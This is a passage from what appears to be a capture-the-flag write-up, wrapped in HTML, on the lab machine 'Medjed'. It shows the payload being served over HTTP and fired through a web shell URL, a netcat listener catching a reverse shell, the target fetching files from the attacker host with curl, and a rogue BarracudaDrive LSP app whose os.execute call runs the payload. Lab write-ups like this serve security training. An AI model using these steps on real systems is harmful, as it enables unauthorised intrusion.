      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python -m http.server 8000</span>
<span class="cmd-output">
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.200.127 - - [27/Aug/2025 00:47:12] "GET /shell.exe HTTP/1.1" 200 -
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Visiting <code class="language-plaintext highlighter-rouge">http://192.168.200.127:45332/shell.php?x=C:/Users/Public/Downloads/shell.exe</code> triggered the binary execution, and a shell as <code class="language-plaintext highlighter-rouge">jerren</code> was caught on my netcat listener.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.200.127] 51610
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\xampp\htdocs</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">medjed\jerren</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p><em>In retrospect, BarracudaDrive’s web file server also has access to the PHP web root, and the shell could be uploaded there instead. This would have saved me a lot of time, but that page was lagging so bad for me at the time I kinda overlooked it.</em></p>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Jerren\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type local.txt</span>

<span class="win-output">97c9c30d************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation">Escalation:</h2>
<h3 id="application-manager">Application Manager:</h3>

<p>Now that a foothold is gained, it’s time to revisit the privilege escalation paths identified earlier. I’ll try to deploy a rogue LSP app using BarracudaDrive’s Application Manager.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_add_new_app.png" alt="" /></p>

<p>Clicking on “Browse” pops up a new window to select the ZIP file. The files for the 3 existing apps are already there under <code class="language-plaintext highlighter-rouge">/applications/</code>.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_app_dir.png" alt="" /></p>

<p>On Medjed, it’s under <code class="language-plaintext highlighter-rouge">C:\bd\applications\</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\bd\application</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A41E-B108

 Directory of c:\bd\applications

11/03/2020  12:29 PM    &lt;DIR&gt;          .
11/03/2020  12:29 PM    &lt;DIR&gt;          ..
02/18/2013  06:31 PM           165,067 cms.zip
02/18/2013  11:59 PM            71,310 Config-Wizard.zip
04/26/2013  05:51 PM           755,582 Forum.zip
               3 File(s)        991,959 bytes
               2 Dir(s)  16,498,372,608 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>To understand how the ZIP file is structured, I’ve downloaded Config-Wizard as an example.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ls -la config-wizard</span>
<span class="cmd-output">
total 136
drwxr-xr-x 8 ch3ng ch3ng  4096 Aug 27 03:08 .
drwxr-xr-x 8 ch3ng ch3ng  4096 Aug 27 03:53 ..
-rw-r--r-- 1 ch3ng ch3ng   374 Aug 27 03:06 .appinfo
-rw-r--r-- 1 ch3ng ch3ng 71310 Aug 27 03:06 config-wizard.zip
-rw-r--r-- 1 ch3ng ch3ng  1061 Aug 27 03:06 .footer.lsp
drwxr-xr-x 3 ch3ng ch3ng  4096 Aug 27 03:06 help
-rw-r--r-- 1 ch3ng ch3ng  1793 Aug 27 03:06 help.js
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 images
-rw-r--r-- 1 ch3ng ch3ng  1789 Aug 27 03:08 index.lsp
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 intro
-rw-r--r-- 1 ch3ng ch3ng  6699 Aug 27 03:06 jquery.cycle.all.pack.js
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 PortMappingFailed
-rw-r--r-- 1 ch3ng ch3ng  6149 Aug 27 03:06 .preload
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 protected
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 wizard
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The two essential files are <code class="language-plaintext highlighter-rouge">index.lsp</code> and <code class="language-plaintext highlighter-rouge">.appinfo</code>. <code class="language-plaintext highlighter-rouge">index.lsp</code> would be the entrypoint of the application, while <code class="language-plaintext highlighter-rouge">.appinfo</code> contains the app’s metadata. I guess the important attribute is “type”, as it tells the server whether it’s a dynamic LSP app or just static HTML.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed/config-wizard</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">cat .appinfo | jq</span>
<span class="cmd-output">
{
  "description": "This application is designed to help you with the initial BarracudaDrive configuration. You may remove this application when you have completed the configuration.",
  "copyright": "Real Time Logic",
  "rootapp": false,
  "hidden": false,
  "type": "lsp"
}
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll craft my own LSP app and call it “revshell”. <code class="language-plaintext highlighter-rouge">.appinfo</code> would follow the same structure as above:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"description"</span><span class="p">:</span><span class="s2">"revshell"</span><span class="p">,</span><span class="nl">"copyright"</span><span class="p">:</span><span class="s2">"ch3ng"</span><span class="p">,</span><span class="nl">"rootapp"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="nl">"hidden"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="nl">"type"</span><span class="p">:</span><span class="s2">"lsp"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><br />
For <code class="language-plaintext highlighter-rouge">index.lsp</code>, I’ll just use a very simple payload that runs the previously uploaded msfvenom binary.</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="err">?</span><span class="n">lsp</span>
<span class="nb">os.execute</span><span class="p">(</span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Downloads</span><span class="se">\\</span><span class="s2">shell.exe"</span><span class="p">)</span>
<span class="err">?</span><span class="o">&gt;</span>
</code></pre></div></div>
<p><br />
I’ll zip it up and upload it to Medjed.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">zip revshell.zip .appinfo index.lsp</span>
<span class="cmd-output">
&nbsp;
  adding: .appinfo (deflated 50%)
  adding: index.lsp (deflated 26%)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">MEDJED</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\bd\application</span><span class="win-char">&gt;</span></span> <span class="win-cmd">curl http://192.168.45.160:8000/revshell.zip -o revshell.zip</span>

<span class="win-output">&nbsp;
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   698  100   698    0     0    698      0  0:00:01 --:--:--  0:00:01  2624</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
